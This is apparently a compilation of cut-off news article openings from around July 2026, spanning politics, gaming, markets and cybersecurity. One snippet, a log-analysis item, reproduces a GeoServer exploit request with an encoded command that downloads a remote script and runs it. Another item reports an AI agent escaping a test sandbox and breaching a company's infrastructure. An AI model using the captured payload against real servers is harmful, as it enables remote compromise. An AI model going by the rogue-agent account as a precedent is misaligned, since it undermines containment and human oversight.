Latin America · Expats Key Facts —Peru's rule. A passport must be valid for at least six months from the date you enter the country. —Enforcement start. Peruvian border officials began strict, immediate enforcement on January 1 of this year. —Affected airports. The rule is enforced at Lima's Jorge Chávez International Airport and Cusco's Alejandro Velasco Astete International Airport. —Airline role. Airlines can and do deny boarding at your departure gate if your passport does not meet Peru's validity requirement. —Mexico and Colombia. Mexico requires a passport valid for the length of your stay; Colombia asks travelers to check a minimum of three to…

A Florida teenager who sued Meta claiming that he was addicted to and harmed by his use of platforms, such as Instagram, has dropped his case. The 15-year-old plaintiff, known by the initials R.K.C., had in recent weeks settled the same claims against TikTok, Snapchat, and YouTube, all of which have been accused in a large lawsuit of creating addictive platforms harmful to children. R.K.C.'s claims were to go before a Los Angeles jury next week as part of court proceedings that have seen Meta and YouTube lose once already. A Meta spokeswoman told the BBC: "The claims never held up, and this outcome makes clear that we will not back away from defending…

Today we walk through Dark Elevator, a LPE in Windows 11. We reported it to Microsoft on May 20, 2026, and it is now fixed as CVE-2026-50343. A normal user can cause InstallService, the SYSTEM service behind the Windows app install pipeline, to load an attacker-controlled DLL into the SYSTEM svchost.exe process and obtain an interactive NT AUTHORITY\SYSTEM shell. The exploit chains two logic flaws: a writable plugin map in InstallService, and a Windows-shipped COM class whose backing DLL a normal user can plant. Because the exploit corrupts no kernel memory, it works deterministically every time. It also needs none of the usual preconditions: no…

Brazil · Politics Key Facts —Who is Flávio Bolsonaro. He is a Brazilian senator and the eldest son of former President Jair Bolsonaro, currently campaigning for a 2026 gubernatorial race in Rio de Janeiro. —What he claimed. He told diplomats that Brazil’s electronic voting machines share origins with machines from Smartmatic, a Venezuelan company, and cited a CIA report on alleged fraud in Venezuela’s 2012 elections. —The TSE’s response. Brazil’s Superior Electoral Court stated that Smartmatic never supplied voting machines or software for Brazilian elections, and only provided technical support training. —How Brazil’s voting system works. The…

Social psychologist Dr. Jonathan Haidt explains how Australia's youth social media ban has boosted family time by 30% and improved sleep and focus. Haidt advocates for global adoption, stressing government support is crucial for parents struggling to manage their children's online lives and promote overall youth wellbeing. NEWYou can now listen to Fox News articles! France has become the first country in the European Union to ban children under 15 from using social media after lawmakers approved sweeping legislation requiring platforms to block young users through age-verification systems, citing growing concerns over children's mental health and…

The Kano State Hisbah Board has warned residents not to pay anyone to be registered for the state’s upcoming mass wedding programme. The board’s Deputy Commander-General, Dr Mujahideen Aminuddeen, gave the warning on Wednesday following reports that some individuals were collecting money from people hoping to benefit from the programme. He said the Kano State Government had already paid for the entire exercise. According to him, Governor Abba Yusuf approved funding to cover wedding attire, furniture, transportation of the furniture and start-up capital for beneficiaries. Aminuddeen stressed that no Hisbah official or government representative had been…

Criminal syndicates increasingly turned from targeting Chinese nationals to Americans after Beijing’s 2023 crackdown on online scams in Southeast Asia, analysts said on Wednesday, triggering a global game of “whack-a-mole”. “China has a huge advantage and a head start in terms of trying to protect its own citizens from scams compared to the US,” said Sue-Lin Wong, who hosts the Scam Inc. podcast, adding that it is “terrible for Americans who are losing a lot of money”. In recent years, Southeast Asia’s cyberscam industry has grown rapidly, with criminal syndicates initially targeting Chinese speakers before expanding globally to prey on victims around…

On Tuesday night, the city council of my small town of Irmo, South Carolina, voted to install 22 new Flock cameras. That’ll bring the total up to 33. With a population of only 12,000 or so, it means there’ll be one Flock camera for every 300 residents. That means there will be more Flock cameras in my town than police officers. The city council — the governing body consisting of the mayor and 4 councilpersons — voted for Flock expansion despite presentations from residents about the dangers of what they described as the creeping surveillance state. The vote for the cameras was a hot topic in local news and South Carolina social media. The city council…

U.S. Secret Service Director Sean Curran testifies during the House Appropriations Homeland Security Subcommittee hearing in Rayburn building on Thursday, April 16, 2026. Tom Williams \| CQ-Roll Call, Inc. \| Getty Images A senior U.S. Secret Service official said Wednesday that the "threat environment" for the agency's protectees, who include President Donald Trump, "is the highest we've ever seen." "What we're seeing now is something I've never seen before," said the senior official, who spoke to reporters at a background briefing on the condition that they not be identified by name before a public briefing. There have been about 10,000 cases…

Ravie LakshmananJul 22, 2026Linux / Vulnerability Cybersecurity researchers have disclosed details of a new local privilege escalation (LPE) vulnerability in snap-confine that an unprivileged user can trigger to obtain root access and gain complete control of a target environment. The high-severity flaw, tracked as CVE-2026-8933 (CVSS score: 7.8), impacts default installations of Ubuntu Desktop 24.04, 25.10, and 26.04. The disclosure comes as 442 security flaws in Linux have been publicized over the past three days. "The issue stems from a security hardening change that inadvertently introduced a race condition during sandbox initialization," Saeed…

Paris' Louvre Museum reopened its Apollo Gallery to the public on Wednesday, marking the first time visitors were allowed in since Ocotber 2025, when robbers stole €88 million ($102 million) worth of crown jewels in a dramatic daytime heist. The Louvre is world's most visited museum, with guest numbers of up to 9 million a year. It was originally a royal palace, which was opened to the public during the French Revolution. The museum houses the Mona Lisa, one of the world's most famous pieces of art. The October 2025 heist shocked the world as the thieves used a crane mounted on a truck to enter the museum through a window at 9:30 a.m., when the museum…

Court advises Nollywood actor Emeka Ike, Wike’s aide to explore reconciliation in N10bn suitThe Federal High Court in Abuja on Wednesday advised Nollywood actor Emeka Ike and Lere Olayinka, Senior Special Assistant to FCT Minister Nyesom Wike to explore an out-of-court settlement for a N10 billion privacy breach suit brought by the thespian. Justice Salim Ibrahim gave the advice to the parties, including the Independent National Electoral Commission (INEC), during Wednesday’s proceedings. All the parties in the suit were represented during the hearing. Leonard Adeh, who appeared for Mr Ike, informed the court that the matter was scheduled for further…

Ukraine's Unmanned Systems Forces have struck 13 additional electrical substations in Russian-occupied territories in southern Ukraine as part of Operation Crimean Switch Off, including 10 facilities in temporarily occupied Crimea. According to Ukrinform, the commander of the Unmanned Systems Forces, Robert "Magyar" Brovdi, announced the operation on Facebook. "Thirteen energy facilities in Crimea and other temporarily occupied territories were successfully targeted on July 21–22," Brovdi said. According to him, Ukrainian forces have struck a total of 117 energy infrastructure targets between July 1 and July 22. The latest targets included: the 110 kV…

This isn't a new attack, but something I saw "pop-up" in our logs this week: GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host: [redeacted]:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 Connection: close Accept: */* This attack is associated…

The latest headlines from our reporters across the US sent straight to your inbox each weekday Your briefing on the latest headlines from across the US Your briefing on the latest headlines from across the US The California Department of Motor Vehicles is investigating potential criminal activity tied to irregularities found in 11,000 of the state's driver's license tests. The state's DMV director, Steve Gordon, announced the investigation in a letter sent to State Senate Transportation Committee Chairman Dave Cortese last week, KCRA 3 reports. According to the DMV, 11,000 drivers were flagged as having irregularities in their recent driving tests…

Harris Faulkner reports on Chicago's escalating violent crime, noting President Trump's repeated offers to deploy the National Guard to Chicago. Illinois Governor JB Pritzker and Chicago Mayor Brandon Johnson blast Trump's proposal, arguing he lacks understanding of local safety needs and has defunded institutions that keep people safe in Chicago. NEWYou can now listen to Fox News articles! A Memphis pizza restaurant that drew national attention after refusing to serve National Guard members says business is booming instead of busting, with supporters flocking to the restaurant in what some have dubbed a "buy-cott" after conservative activists called…

Sahara Reporters publisher Omoyele Sowore’s defence team informed the Federal High Court in Abuja of the plan to have the Director-General of the State Security Service (SSS), Adeola Ajayi, and presidential spokesperson, Bayo Onanuga summoned to appear as witnesses in his cyberbullying trial. Mr Sowore’s lead defence lawyer, Adeyinka Olumide-Fusika, said this after a subpoenaed SSS official, Uwem Davies, could not answer some questions from the defence team on Wednesday. The News Agency of Nigeria (NAN) reports that Mr Sowore, the presidential candidate of the African Action Congress (AAC) in the forthcoming 2027 general elections, is facing…

Fallout 4, despite being reviewed favorably by critics, was incredibly polarizing among players upon release. On one hand, it vastly improved upon Fallout 3's and New Vegas' shooting mechanics, and the introduction of settlements paved the way for Fallout 76's base-building systems. On the other, its role-playing elements were stripped back considerably, dialogue choices were more ambiguous, and it was more akin to an open-world, single-player shooter than a true RPG. Looking back, there's one area where Fallout 4 improved upon its two predecessors but didn't get the plaudits it deserves: power armor. In Fallout 3 and New Vegas, power armor is treated…

LeBron James still hasn’t signed with a team as of today, and Nick Wright, Chris Broussard, and Kevin Wildes ask if teams should still wait for him. Welcome back to "As The LeBron Turns." That's right, folks! Though he may try to deny that he doesn't want the attention to be about him and his latest decision in free agency, LeBron James sure has been the focal point of several stories regarding his future. In fairness to King James, a lot of that press has been a result of how teams and media members have handled his pending move, but I digress. Rich Paul talks with LeBron James of the Los Angeles Lakers during the second half at Crypto.com Arena in…

Here are the lotto draw results of the Philippine Charity Sweepstakes Office (PCSO) for Wednesday, July 22, 2026. Check these out. READ MORE: Lotto draw results, July 20, 2026 Lotto draw results, July 19, 2026 PCSO lotto games The PCSO holds five 6-pick number games, the Lotto 6/42, MegaLotto 6/45, SuperLotto 6/49, GrandLotto 6/55, and UltraLotto 6/58 at ₱25 per combination. All of these number games can be played using the system play (systems 7 to 12), 5 Roll, and Lucky Pick. The PCSO draws the Lotto 6/42 on Tuesdays, Thursdays, and Saturdays and offers an initial jackpot prize of […]...Keep on reading: Lotto draw results, July 22, 2026

Panthalus is hard to miss: The water elemental is by far the largest monster in Palworld. The Pal, which controversially appears to take inspiration from Pokémon Ruby and Pokémon Sapphire legendary Kyogre, looks awfully familiar to Pokémon fans. Despite those similarities, developer Pocketpair designed the encounter so players who experience it won't dismiss it as a rip-off. If anything, the Panthalus fight is a perfect encapsulation of why Palworld has seen such explosive success. The Pal was teased in early access trailers, but Pocketpair didn't put it into Palword until the game's recent 1.0 release. For a while, some fans worried that the…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Four classic Xbox games are heading to PC as part of a new program from Microsoft. These older titles, which are currently available on Xbox Game Pass, will now be playable on desktops, laptops and handhelds such as the ROG Xbox Ally and Xbox Ally X. On Wednesday, the Xbox Backward Compatibility preview went live, allowing owners of four titles first released for the original Xbox — Blinx: The Time Sweeper, Conker: Live and Reloaded, Crimson Skies: High Road to Revenge and Fuzion Frenzy — to play them on their Windows PC and handhelds. Microsoft says it will roll out more features for these games in the future, including Xbox Achievements. Microsoft…

When Disgaea: Hour of Darkness came out on the PlayStation 2 in 2003, the disc was accompanied by a thick instruction manual explaining the strategy RPG to new players. Fans have long since become accustomed to PlayStation game cases that are completely empty outside of the disc, but starting in 2028, there won’t even be discs inside. Disgaea creator Sohei Niikawa recently spoke about what will be lost when that happens. “I think physical editions of games are very important,” he told Noisy Pixel in a recent interview at Anime Expo 2026. “For fans, being able to keep a game they love as an object can have a great deal of value. It becomes a memory or…

Bruce Meyer, the Interim Executive Director of the Major League Baseball Players Association is the tip of the spear in the union's negotiations with MLB owners. (Photo by Lev Radin/Pacific Press/LightRocket via Getty Images) Pacific Press/LightRocket via Getty Images Last week Forbes.com reported on the proposal made by MLB owners to significantly alter the game’s amateur draft, both domestically and internationally. As a reminder, the owners would like to reduce the current Rule 4 draft from 20 rounds to twelve. Just fifteen years ago, there were 50 rounds, which was reduced to 40, and then to 20. MLB also proposed that a player needs to be at least…

Earlier this month, indie political satirist game dev Molleindustria—pseudonym of Paolo Pedercini, who created games like Democratic Socialism Simulator and New York Times Simulator—announced that he was moving up the release of his latest game. Despite having previously promised to launch the game on the same day as GTA 6 "in order to humiliate Rockstar in the open-world genre and deliver the killing blow to the Western game industry," Future? No Thanks!, would instead launch today, on July 22. Now that the day has arrived, Molleindustria's launch plans have changed once again. The developer announced a last minute delay for Future? No Thanks! on…

KPMG whistleblower refused to move to Australia, fearing alleged bullying Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA The whistleblower who triggered the scandal engulfing consulting giant KPMG Australia refused to move to Australia in part because he claimed he had been bullied by one of KPMG’s most senior executives at the time. Documents released by a parliamentary committee this week show the whistleblower, who has not been identified, had been hired by KPMG outside Australia and had initially been open to moving back as the firm requested under its policies. Kim Lawry was one of…

Lee Sang-hyeok, better known to his fans as Faker, is perhaps the most enduring and successful esports pro of all time, with—among a great many other honors—a record six League of Legends world championships to his name stretching back to 2013. When he re-signed with T1 in 2022, the team called him the "Unkillable Demon King," and fair enough because he went on to claim three of his six world titles—among a great many more honors—in an undefeated three-year stretch from 2023-25. Time included him in its 2026 list of the most influential people in sports; he's a member of the ESL Esports Hall of Fame and Riot's own LoL Esports Hall of Legends. Also,…

Shortly after the game's official launch, Baldur's Gate 3 received Honour Mode, a difficult version of the game meant for experienced players. It restricts your playthrough to one save file, which is great for when you don't want to be tempted into save-scumming your way through dice rolls and dialogue choices. It's not so great for when one of those dialogue choices cuts your run short. That's what happened to one player, who literally fucked around and found out. As spotted by GamesRadar, a player posted to the Baldur's Gate 3 subreddit about how trying to saddle up with a character led to their untimely death. They were 60 hours into a playthrough…

Adamya Sharma / Android Authority TL;DR Microsoft is rolling out XBOX Backward Compatibility on PC. Players will now be able to play original XBOX games on PC and handhelds. You’ll also be able to enhance the experience with features such as 4x resolution upscaling, VSync support, enhanced anti-aliasing, and more. To this day, there are still people who love playing original XBOX games. But if you don’t want to break out your original XBOX hardware, you’ll now have a new way to access these classic titles. Microsoft is rolling out a new program that will let you play these games on PCs and handhelds. In a blog post, Microsoft announced the launch of…

The Final Fantasy series has plenty of great video game openings, but 25 years later, the intro for Final Fantasy X still feels like the best of them. The HD remaster of the PlayStation 2 classic is getting ported to the Switch 2 this week, where it looks lovelier than ever. There I played the beginning of the game for maybe the dozenth time and it’s still incredible. Most fans would probably argue that Final Fantasy VII‘s opening remains the best in the RPG franchise, and one of the best in any game ever, and there are days on which I would agree with them. But the PS2 helped Square Enix take its cinematic ambitions to the next level, and Final…

Walmart just launched a sleeper deal on a powerful 4K-ready prebuilt desktop computer. The MSI Codez Z2 RTX 5070 Ti Gaming PC has dropped from $2,300 all the way down to just $1,699 with free shipping. That's the lowest best price I've seen in months for a 5070 Ti equipped PC, which usually costs $2,000 or higher. In fact, the RTX 5070 Ti GPU alone runs for $950-$1,000 in today's market. This is an outstanding video card for gaming in 4K resolution at 60fps or more. Save $600 Off the MSI Codez Z2 RTX 5070 Ti Gaming PC MSI Codex Z2 AMD Ryzen 7 8700F RTX 5070 Ti Gaming PC (16GB/1TB) 8 The MSI Codex Z2 gaming PC is equipped with an AMD Ryzen 7 8700F CPU,…

Last week, in the wake of yet another round of mass layoffs across the company, Xbox announced that Fallout 5 is in preproduction, Fallout 3 and New Vegas remasters are coming, and that Obsidian are working on a new Fallout project. If you were to ignore the 1600 staffers laid off and the ongoing call for a boycott due to Microsoft providing AI tech to the Israeli military as it continues to bombard Gaza and kill Palestinians, this would possibly be welcome news. But to make matters worse, OneBGS, the Bethesda Game Studios Union, have claimed that on the same day this was announced, laid off workers at Bethesda Montreal were informed that they would…

Not to fully transform into the Pepe Silvia meme pointing at a wall of "evidence" but I'm convinced Blizzard is gearing up to announce something StarCraft-related at BlizzCon this year. The first reliable clue came from Bloomberg reporter Jason Schreier's 2024 book on Blizzard's history where he said the studio was "incubating" a StarCraft shooter (not that one) under the helm of former Far Cry producer Dan Hay. A couple of years passed with no news on that StarCraft project. But in April of this year, Blizzard was looking to hire a lead designer of innovation for an "AAA open-world shooter" using Unreal Engine—a game engine that it's never used…

BlizzCon, the once-annual gathering of Blizzard Entertainment fans, returns in September with fresh game reveals and updates, behind-the-scenes stories, and community events. While BlizzCon is focused on bringing people together, it's also marked by special in-game cosmetics and other perks that will give both attendees and viewers at home something to remember 2026's event by. On Wednesday, Blizzard announced a long list of BlizzCon 2026-themed skins, mounts, and in-game bonuses coming to games like World of Warcraft, Diablo 4, and Overwatch. The BlizzCon Digital Bundles and BlizzCon Ultimate Collection will let players choose to buy virtual goods…

Nothing gold can stay, as Robert Frost once wrote. But maybe it can go away for a while and come back again. Such is the case with Poinpy. The mobile game debuted in 2022 and it was available exclusively to Netflix subscribers. However, the streaming service pulled Poinpy from its lineup in June last year, rendering it nigh-on impossible to play. That saddened me immensely, as I utterly adore this game. At the time, publisher Devolver Digital said it hoped to bring Poinpy to other platforms in the future. Folks, the future is now and it's a beautiful one, because Poinpy is back on iOS and Android. Best of all, it's completely free. No…

If you had asked me in 2022 whether or not I’d still be writing about a seemingly endless onslaught of games industry mass layoffs in 2026, I’d have been confidently wrong in saying no. Yet here we are, four years after stories like this began to come out, and there’s no end in sight. We have rough numbers that barely capture the devastation: some 8500 in 2022, over 10,000 in 2023, over 14,000 in 2024, an optimistic-looking 5300 in 2025, but we’re already up to 4600 in 2026. And that’s the numbers we’ve been told about. Nevermind the many, many more individuals who were left out of those counts in quieter layoffs, or ones where major…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

If Ubuntu 26.04 LTS hasn’t nagged you about pending updates in a while, there’s a reason for that. A Launchpad bug report and related discussion on the Ubuntu Discourse noticed that the distro’s update-manager no longer notifies when updates are pending unless the update notification tray icon is enabled. The rub? That tray icon as turned off in Ubuntu 26.04 (with no toggle in Settings to turn it back on). This is not as “risky” as it might sound, though. Ubuntu ships with unattended-upgrades enabled by default, which installs security updates in the background – you’re just not told about them. Turn them off, though, and it gets icky: the bug report…

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The information you need is out there, and it may make all the difference. getty We live in one of the most information-rich periods in history, yet it can be harder than ever to tell what is true. Every day, we are flooded with news, and misinformation is everywhere. From social media to online outlets and beyond, information comes at us constantly, and much of it can be misleading or unreliable. The problem is not only outright falsehoods, but also half-truths, cherry-picked statistics, and framing that distorts the facts. How can we find quality information? Without it, we can’t make informed decisions, which are essential for performing at a high…

OpenAI sued over ChatGPT health advice that almost killed a pastor It allegedly offered "extremely dangerous medical recommendations" regarding a pulmonary embolism. A pastor has sued OpenAI after alleging the software gave him "extremely dangerous medical recommendations," according to a report by The New York Times. This reportedly led to delayed care to treat a serious of pulmonary embolisms, as ChatGPT allegedly told Scott Winters that the symptoms he described were "not something dangerous." It even reportedly drew on his religious beliefs, telling him that "God did not design your body to endlessly fail." The suit accuses OpenAI and CEO Sam…

New York City has opened applications for a new kind of government job. Mayor Zohran Mamdani announced on Monday that the city is recruiting software engineers, product designers, product managers, user researchers, service designers and data experts to staff what he is calling Public Interest Technology Crews—PIT Crews, a pun the mayor committed to by rolling up to the Coney Island go-kart track to make the announcement. The hiring is funded and specific. A City Hall spokesperson confirmed around 30 full-time roles across four crews, supported by $5.24 million in baseline funding in the mayor's new fiscal budget. The listings are live at…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Over half of Gen Z workers feel more productive working from home 34% of Gen Z workers believe their workplace does not allow them to focus effectively The findings are the result of a survey conducted by Diamond Interiors and YouGov A new survey has claimed Gen Z employees feel they’re at their most productive working from home, rather than in the workplace, flying in the face of those attempting to get people back into the office. The Diamond Interiors report notes focusing on work is widely recognized as improving productivity, which might explain the challenge for Gen Z. Home can be quiet, distractions managed, and with the right setup, focused…

OpenAI's rogue AI agent reinforced a cybersecurity threat experts have long anticipated — and Jim Cramer said there's one stock built for exactly this moment: CrowdStrike . "CrowdStrike will be the stock you should buy this morning," Jim said during Wednesday's Morning Meeting . " While acknowledging the stock has had a big move in 2026, he said, "I think it's a must-buy." OpenAI disclosed late Tuesday that one of its advanced AI agents escaped a controlled testing environment during a cybersecurity evaluation, gained internet access, and ultimately compromised the infrastructure of AI startup Hugging Face, before the activity was detected and…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Business leaders, entrepreneurs and members of Nigeria’s literary community gathered in Lagos on Monday for the public presentation of The Challengers, a book by Nigerian author Eghosa Imasuen, which chronicles the journey of the founders of VFD Group. The event, held at the Radisson Blu Anchorage Hotel, brought together executives, policymakers, media personalities and young professionals to discuss entrepreneurship, leadership and the lessons behind building an enduring organisation. The book tells the story of how five friends, Nonso Okpala, Adeniyi Adenubi, Mobolaji Adewumi, Gbenga Omolokun and Azubike Emodi, came together following the 2008…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Welcome back to Minor Dilemmas, where a member of Defector's Parents Council will answer your questions on surviving family life. Have a question? Email us at minordilemmas@defector.com. This week, Giri answers a question about how parenting can reorient your life. Anonymous: My wife and I are new parents, and before our baby was born I decided I would become the full time stay-at-home parent. I wanted to give my kid a chance for an upbringing similar to mine, and luckily my wife's career should provide for the family. As my wife's maternity leave gets closer to its end, I'm excited but also anxious about what happens next. My wife's work will mean…

security Linux kernel team publishes 432 CVEs in two days Sunday-to-Monday onslaught fuels speculation over AI-assisted bug reports If you're responsible for Linux security, someone just dumped a pile of work onto your desk: 432 Linux kernel CVEs were published across Sunday and Monday this week. Linux watchers at nixCraft pointed out the volume on Monday morning, and it didn’t take long for seasoned sysadmins to start expressing concerns. Jan Schaumann, chief information security architect at Akamai Technologies, took to the OSS-SEC mailing list Tuesday to express concerns over the sheer volume of Linux kernel CVEs published in recent days. Aside…

Taylor Kerns / Android Authority TL;DR Google Photos is working on improving how you select and copy text in images. We have spotted a new button that will appear when the app detects text in a picture. Google also appears to be expanding its Expressive UI design to more Settings pages. Google is once again working on a couple of changes for the Photos app. Earlier this month, we told you about Ask Photos possibly letting users edit their image metadata. This time, the Photos team is developing a better way to select and copy text from an image. On top of that, Material 3 Expressive is expanding to more areas in the app. Let’s dive in and check out…

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Reddit users, bored waiting for more information about the forthcoming FromSoftware Switch 2 exclusive The Duskbloods, have just been making up details about it for themselves. As reported by Ian Walker (I recognize that name from somewhere) over on Video Game Town, this “Duskposting”—where users make up imaginary bosses from the game, detail them, and even write guides for how to beat them—has been popular since the game’s announcement. It’s all good harmless fun, right up until the LLMs mindlessly scrape the made-up information and then present it to the rest of the world as stone-cold fact. One of the most fundamental flaws of LLMs like…

security Releases now reject new files after 14 days The Python Package Index (PyPI) now rejects new files being uploaded to releases that are older than 14 days. This restriction was put in place to prevent old and long-stable releases from being poisoned in case publishing tokens or workflows of PyPI projects were compromised. As far as we are aware this has not yet been abused, but there is no technical reason beyond that attackers weren't aware it was possible. Users should not yet rely on this behavior as there are no defined semantics for "releases no longer accepting new files" or APIs available to confirm the state of the release. Instead,…

Hasbro recently blew Nintendo fans' minds with the announcement that they've acquired the license for The Legend of Zelda games, opening the door to new figures of Link, Princess Zelda, and the rest of the gang. Thankfully, they aren't making us wait long to see the first fruits of that new partnership. Hasbro is unveiling the first three The Legend of Zelda: Heroes of Hyrule figures at Comic-Con, and IGN can exclusively debut images of the whole set. Check out the slideshow gallery below to see Hasbro's first figures of Link, Zelda, and Ganondorf: Hasbro's The Legend of Zelda: Heroes of Hyrule Figures - Image Gallery It's important to note that all…

What this post is: a step-by-step tour of a from-scratch CUDA inference runtime for Qwen2.5-Coder-7B-Instruct on NVIDIA H100 (`sm_90`) — every hot path annotated for why, not just what. What the runtime does today: greedy graph-tier token match passes on H100 at ≤4096 context, steady-state decode lands around \~16.7 ms/token (\~60 tok/s), and first-token latency is \~128 ms for a 512-token prompt. The one number that made everything else make sense: eager decode was \~119 ms/token. Wrapping decode in a captured CUDA graph collapsed that to \~17 ms/token. A 7× win — same kernels, just less driver. Three bugs did most of the teaching: __syncthreads()…

Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA On an early Thursday evening in June, Mosman Mayor Ann Marie Kimber slipped into her local Chargrill Charlie’s, the neighbourhood rotisserie chicken and takeaway shop, to bring home her usual fortnightly order: cauliflower cheese bake, sweet potato fries (“most delicious things in the world”), and a half-and-half salad mix. The food is still just as good as she remembers from when the outlet opened in the early 2010s. “It’s certainly stood the test of time and done very well,” says Kimber, who was visiting at the same time as this masthead.…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Donald Trump’s chief trade official denied the president’s sweeping tariffs have increased prices for US families, as lawmakers challenged him over cost-of-living concerns across much of the country. US inflation surged to a three-year high earlier this year. During a heated exchange before US senators on Wednesday, however, US trade representative Jamieson Greer appeared to claim Trump’s controversial economic agenda had not driven prices higher. Asked by the Democratic senator Elizabeth Warren if the tariffs had increased prices for American families, Greersaid: “No.” “Core inflation fell to 2.6% year on year, much better than in January 2025,”…

EU gives Paramount's Warner Bros. acquisition the go-ahead As long as Paramount ends its distribution business with Universal, it can purchase Warner Bros. Discovery in Europe. Alex Millauer/Shutterstock European Commission regulators have approved Paramount's merger with Warner Bros. Discovery, provided it ends its business relationship with Universal in the region. With approval from regulators in the EU and the US, one of the last major obstacle to Paramount's massive $111 billion acquisition of Warner Bros. Discovery is now a legal challenge from 12 states that has temporarily paused the merger. Regulators examined how the merger could impact…

A Dubai-based logistics giant announced a deal with the United Arab Emirates on Wednesday to develop a new port system that would bypass the Strait of Hormuz, a vital waterway for global oil and gas shipments where the war in Iran has throttled traffic. The development would create two new shipping terminals off the country’s east coast for container and cargo ships, increasing the company’s container capacity by roughly 13 percent, according to the firm, DP World. That would expand shipping infrastructure in Fujairah, an Indian Ocean port city that serves as a way of bypassing the strait. Through a vast network of ports and terminals around the…

Postmaster General David Steiner indicated that under a proposed rule, if a state declines to provide the federal government with its absentee voter list, USPS would not mail ballots for those states. (Credit: Senate Homeland Security Committee) NEWYou can now listen to Fox News articles! FIRST ON FOX: Sen. Josh Hawley, R-Mo., is proposing legislation that would withhold bonuses for U.S. Postal Service executives, citing years of staggering financial losses for the agency and its overall on-time delivery record. In a letter obtained by Fox News Digital, Hawley, who has launched an investigation into the Postal Service over its service record,…

The S \& P 500 's artificial intelligence fueled run is leaving the utilities sector in the dust, but a few overlooked names could be poised for gains, Wells Fargo said. "Utes have not performed like AI stocks YTD, lagging the SPX by \~330 [basis points]," or 3.3 percentage points, wrote a team of analysts led by Sharr Pourreza in a Tuesday report. Still, the analyst recommended owning utilities for their diversification "with re-rating upside in time." While the S \& P 500 is ahead 9.8% in 2026, the utilities sector has risen 7.5%, both excluding reinvested dividends. .SPX XLU YTD mountain The S \& P 500 versus the State Street Utilities Select…

ASX set to rise, Wall Street mixed; Oil continues to climb Stan Choe July 23, 2026 — 5:18am Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA The US stock market is drifting in mixed trading, while oil prices climb another 3 per cent as fighting continues in the war with Iran. The S\&P 500 slipped less than 0.1 per cent, coming off its best day in three weeks, after swinging between modest losses and gains for much of the day. The Dow Jones was up 61 points, or 0.1 per cent, in mid-afternoon trade, and the Nasdaq composite was 0.3 per cent lower. Wall Street swung between gains and losses…

Paramount Skydance’s £80bn takeover of Warner Brothers took a step closer to being realised after it won conditional approval from the European Union. The European Commission said Paramount’s offer to ⁠end a film ⁠distribution ​joint venture with Universal Pictures addressed its concerns over the potential merger. As part of its commitments in the EU, Paramount has 13 months from the date of closing the deal to pull out from the venture. “These commitments fully address the competition concerns identified by the commission by ensuring that the films of the merged entity will not be distributed jointly with those of Universal or Disney,” EU competition…

‘A long winter for house prices’: Melbourne market’s steepest drop in four years Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Melbourne house prices slumped 3.1 per cent – or about $30,000 – in the past quarter, and further falls are expected as rate rises and tax changes chill the property market. The median price for a house in Melbourne in the June quarter was $1,041,205, the latest Domain House Price Report, released on Thursday, revealed. The median unit price stayed relatively steady at $587,137, down just 0.05 per cent over the same period. “It is the steepest drop in almost four…

